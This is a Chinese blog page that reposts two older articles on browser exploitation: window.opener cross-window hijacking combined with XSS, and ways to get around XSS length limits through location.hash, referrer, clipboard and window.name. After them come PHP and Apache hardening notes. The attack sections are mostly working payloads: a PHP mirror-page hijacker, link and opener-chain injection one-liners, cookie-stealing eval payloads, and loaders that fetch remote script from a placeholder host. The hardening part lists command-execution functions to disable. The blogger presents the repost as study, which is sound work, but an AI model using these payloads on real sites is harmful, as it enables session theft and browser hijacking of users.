易栈网-膘叔（Neatstudio.COM）

易栈网-膘叔

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

突破XSS字符数量限制执行任意JS代码

PHP安全设置 [转]

日志分类

热门标签

日志归档

搜索文章

最新评论

博客信息

友情链接

本文和上一篇一样，我主要是为了了解攻击方法才记录的。有些东西确实没有注意过。以后要多注意啊。不然，就成为别人攻击的目标了。

原文：http://hi.baidu.com/isbx/blog/item/c9baf31f5b36cd6bf724e421.html

很多断行，已经重新排版

|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考

一、前言

    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

二、同源策略简叙

    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

JavaScript代码

for(p in window) document.write(p+"<br>");

</script>

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，这些属性和方法就必须遵循同源策略。

举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。

XML/HTML代码

function allPrpos(obj) {

var props = "<table><tr><td>名称</td><td>值</td>";

for(var p in obj){

if(typeof(obj[p])=="function"){

obj[p]();

}else{

try

{

props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";

}

catch (ex)

{

props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";

}

document.write(props+"</table>");

}

function createWin() {

newWin = window.open ("http://www.google.com");

setTimeout(function(){allPrpos(newWin)},2000);

}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进行测试，会发现父窗口可以控制非同源子窗口location属性值。

XML/HTML代码

function createWin() {

newWin = window.open ("http://www.google.com");

setTimeout(function(){newWin.location="http://www.80sec.com"},2000);

}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

JavaScript代码

javascript:window.opener.location = "http://www.80sec.com";void(0);

五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下会产生什么可怕的后果。

    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php。

这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可以做更多的事情，所有的一切仅仅是因为点击了一个链接。

hjk_ref.php代码

<?php

if (array_key_exists("HTTP_REFERER", $_SERVER)) {

$Url_Mirror = $_SERVER["HTTP_REFERER"];

}

if(isset ($_GET['ref'])) {

echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';

}

?>

setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);

</script>

    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

六、利用XSS漏洞劫持浏览器

    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起讨论跨站师的终极技巧：

6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话框脚本。

hijack_open.js代码

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

6.2 反向跨窗口劫持

    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话框脚本。

hijack_opener.js代码

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

6.3 极度危险的跨框架窗口引用劫持

    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS，如下：

XML/HTML代码

在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

hijack_frame_opener.js代码

window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";

</script>

6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过异常处理规避之间跨域页面的访问异常，代码如下：

JavaScript代码

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面，从而实现“隔空打击”。

    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站师的终极目标 - 完全控制浏览器。

七、后记

    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

贴本文的意思并非传播黑客技术，而是根据攻击的方向和内容来提醒自己，以后写代码需要注意的事项。

原文：http://hi.baidu.com/isbx/blog/item/bee2d31b7ab4bdddac6e7521.html

==Ph4nt0m Security Team==
                       Issue 0x03, Phile #0x04 of 0x07
|=---------------------------------------------------------------------------=|
|=-----------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By luoluo     ]=---------------------------=|
|=----------------------=[   <luoluo#ph4nt0m.org> ]=-------------------------=|
|=----------------------=[    <luoluo#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
    2.4.1 document.referrer
    2.4.2 剪切板clipboardData
    2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考

一、综述

    有些XSS漏洞由于字符数量有限制而没法有效的利用，只能弹出一个对话框来YY，本文主要讨论如何突破字符数量的限制进行有效的利用，这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说，研究极端情况下XSS利用的可能性是一种乐趣；对于产品安全人员来说，不受限制的利用的可能是提供给开发人员最有力的证据，要求他们重视并修补这些极端情况下的XSS漏洞。

    突破的方法有很多种，但是突破的思想基本都一样，那就是执行可以控制的不受限制的数据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

    如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据，那么可以通过JS获得该数据通过eval或者document.write/innerHTML等方式执行该数据，从而达到突破XSS字符数量限制的目的，下面例子假设div元素的内部数据可以控制，但是该数据已经被HTML编码过：

XML/HTML代码

<div id="x">可控的安全的数据</div>

<limited_xss_point>alert(/xss/);</limited_xss_point>

由于XSS点有字符数量限制，所以这里只能弹框，那么我们可以把XSS的Payload通过escape编码后作为安全的数据，输出到可控的安全数据位置，然后在XSS点执行可控的安全数据：

XML/HTML代码

<div id="x">alert%28document.cookie%29%3B</div>

<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

长度：28 + len(id)

由于x内部的数据没有字符数量的限制，那么从而可以达到执行任意JS的目的。

2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办？有些数据是我们无条件可控的，第一个想到的就是URL，通过在URL的尾部参数构造要执行的代码，然后在XSS点通过document.URL/location.href等方式获得代码数据执行，这里假设代码从第80个字符开始到最后：

XML/HTML代码

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>

长度：30

XML/HTML代码

<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>

长度：31

上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅JavaScript手册的String的方法可以发现，切割字符串有一个更短的函数slice，5个字符比substr还要短一个字符：

XML/HTML代码

<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>

长度：29

XML/HTML代码

<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>

长度：30

那么还有没有办法更短呢？答案是YES，查阅一下MSND里的location对象的参考你会发现
有个hash成员，获取#之后的数据，那么我们可以把要执行的代码放在#后面，然后通过hash获
得代码执行，由于获得的数据是#开头的，所以只需要slice一个字符就可以拿到代码：

XML/HTML代码

http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

长度：29

这样比上面的例子又少了一个字符。那么还可以更短么？

2.3 JS上下文的利用

为什么我如此痛苦？那是因为JS和DHTML的方法名和属性名太长！瞧瞧这些“糟糕”的名字：

JavaScript代码

String.fromCharCode

getElementById

getElementsByTagName

document.write

XMLHTTPRequest

...

就连开发人员也不愿意多写一次，于是很多站点的前端开发工程师们封装了各式各样的简化函数，最经典的例子就是：

JavaScript代码

function $(id) {

return document.getElementById(id);

}

这些函数同样可以为我们所用，用来缩短我们的Payload的长度。不过上面这个例子不是最短的，IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码：

XML/HTML代码

function loads(url) {

...

document.body.appendChild(script);

}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>

长度：len(函数名) + len(url) + 5

当然你的url则是越短越好哦！有些函数则会帮我们去作HTTP请求：

XML/HTML代码

function get(url) {

...

return x.responseText;

}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>

长度：len(函数名) + len(url) + 11

    道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用，比如：
JQuery
YUI
...

    综上所述，我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码，进而突破长度限制执行任意代码。

2.4 利用浏览器特性在跨域的页面之间传递数据

    虽然有同源策略的限制，浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法，我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

    攻击者可以在自己的域上构造页面跳转到被XSS页面，在自己域上的页面的url里带了Payload，被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面：

XML/HTML代码

http://www.a.com/attack.html?...&alert(document.cookie)

被XSS的页面：

XML/HTML代码

<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>

长度：34

这种方式利用上还有一些问题，如果使用location.href或者<meta http-equiv=refresh>实现的自动跳转，在IE里被攻击页面拿不到referrer，而FF则可以。QZ建议用表单提交的方式比较好，我测试了下，果然通用，FF/IE都可以成功获取referrer：

JavaScript代码

<!--

window.onload = function(){

var f = document.createElement("form");

f.setAttribute("method", "get");

f.setAttribute("action", "http://www.xssedsite.com/xssed.php");

document.body.appendChild(f);

f.submit();

};

//-->

</script>

2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板，然后在被XSS页面获取并执行该数据。

攻击者构造的页面：

JavaScript代码

clipboardData.setData("text", "alert(document.cookie)");

</script>

被XSS的页面：

XML/HTML代码

<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>

长度：36

    这种方式只适用于IE系列，并且在IE 7及以上版本的浏览器会有安全提示。

2.4.3 窗口名window.name

    这是一个很少被用到的特性，在研究同源策略时就注意过这个属性，它是可以跨域传递数据的，但是这个特性本身并不是漏洞。

    如果仔细研究过window.open这个方法，会发现一个不常用的第二个参数，这个则是设置窗口名，用于指定target窗口，如果不存在的话则创建新的子窗口，并设置子窗口的name。当我想打搜window.open时一阵狂喜，喜的是window.name这个属性是window对象的成员，那么只需要name就可以引用该属性，但是测试时却发现window.open方法对于第二个参数进行了严格的检查，只允许数字字母以及下划线的组合，禁止特殊字符进入，那么这种方式就没法写入JS或者VBS。

    但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符限制，然后直接跳转到被XSS的页面，通过name属性传递Payload过去执行：

攻击者构造的页面：

JavaScript代码

window.name = "alert(document.cookie)";

locaton.href = "http://www.xssedsite.com/xssed.php";

</script>

被XSS的页面：

XML/HTML代码

<limited_xss_point>eval(name);</limited_xss_point>

长度：11

    这个长度可以说是短到极致了，并且这个方法IE/FF都可以很好的支持，是个非常有意思的技巧，这个技巧的发现也是促成本文的直接原因。

    window.name的特性还有其他一些有趣的应用方式，这个方面的话题以后可以专门写篇文章来探讨。

2.5 以上的方式结合使用

    以上的方式结合使用，一般情况下会使得长度更长，但是也不排除在某些变态的过滤情况中，灵活的组合上面的方法可能会起到奇效。

三、后记

    JS非常灵活，所以方法肯定不限于这些，在具体的问题的分析和研究中，可以获得很多的乐趣，并且对JS以及浏览器本身有了更深的认识，如果您有巧妙的技巧或者新奇的构思，欢迎和我交流！

    感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见！

    本文是纯粹的技术探讨，请勿用于非法用途！

四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

一、强化PHP环境
第一步:打开php.ini文件(windows默认路径为"%systemroot%\php.ini",linux默认路径在"etc/php.ini").
第二步:找到"safe_mode=off"改为"safe_mode=on"(已经打开的省略此步)
第三步:找到"disable_functions="改为:"disable_functions=phpinfo,system,exec,passthru,shell_exec,popen,is_dir".
,"system,exec,passthru,shell_exec,popen," 这些属于命令执行类函数,关闭他们可以防止PHP木马执行webshell;"is_dir"这个函数的关闭,可以让既使有everyone可读的权限,也无法将服务器目录及文件名返回到浏览器.
第四步:找到"display_errors=on"改为"display_errors=off"
第五步:保存退出.

二、降低Apache权限(发现此办法无法启动apache)
第一步:另外为apche系统开设一个用户，
net user apache fuckmicrosoft /add
net localgroup users apache /del
ok.我们建立了一个不属于任何组的用户apche
打开计算机管理器，选服务，点apache服务的属性，我们选择log on，选择this account，我们填入上面所建立的账户和密码，重启apache服务，ok，apache运行在低权限下了。
第二步:把所有分区的安全选项里的授权组或用户里除了administrators和system全都删除,针对每个虚拟主机用户目录再单加一个ev-eryone读,写,和列出目录权限

» 阅读全文

« 2024年11月 »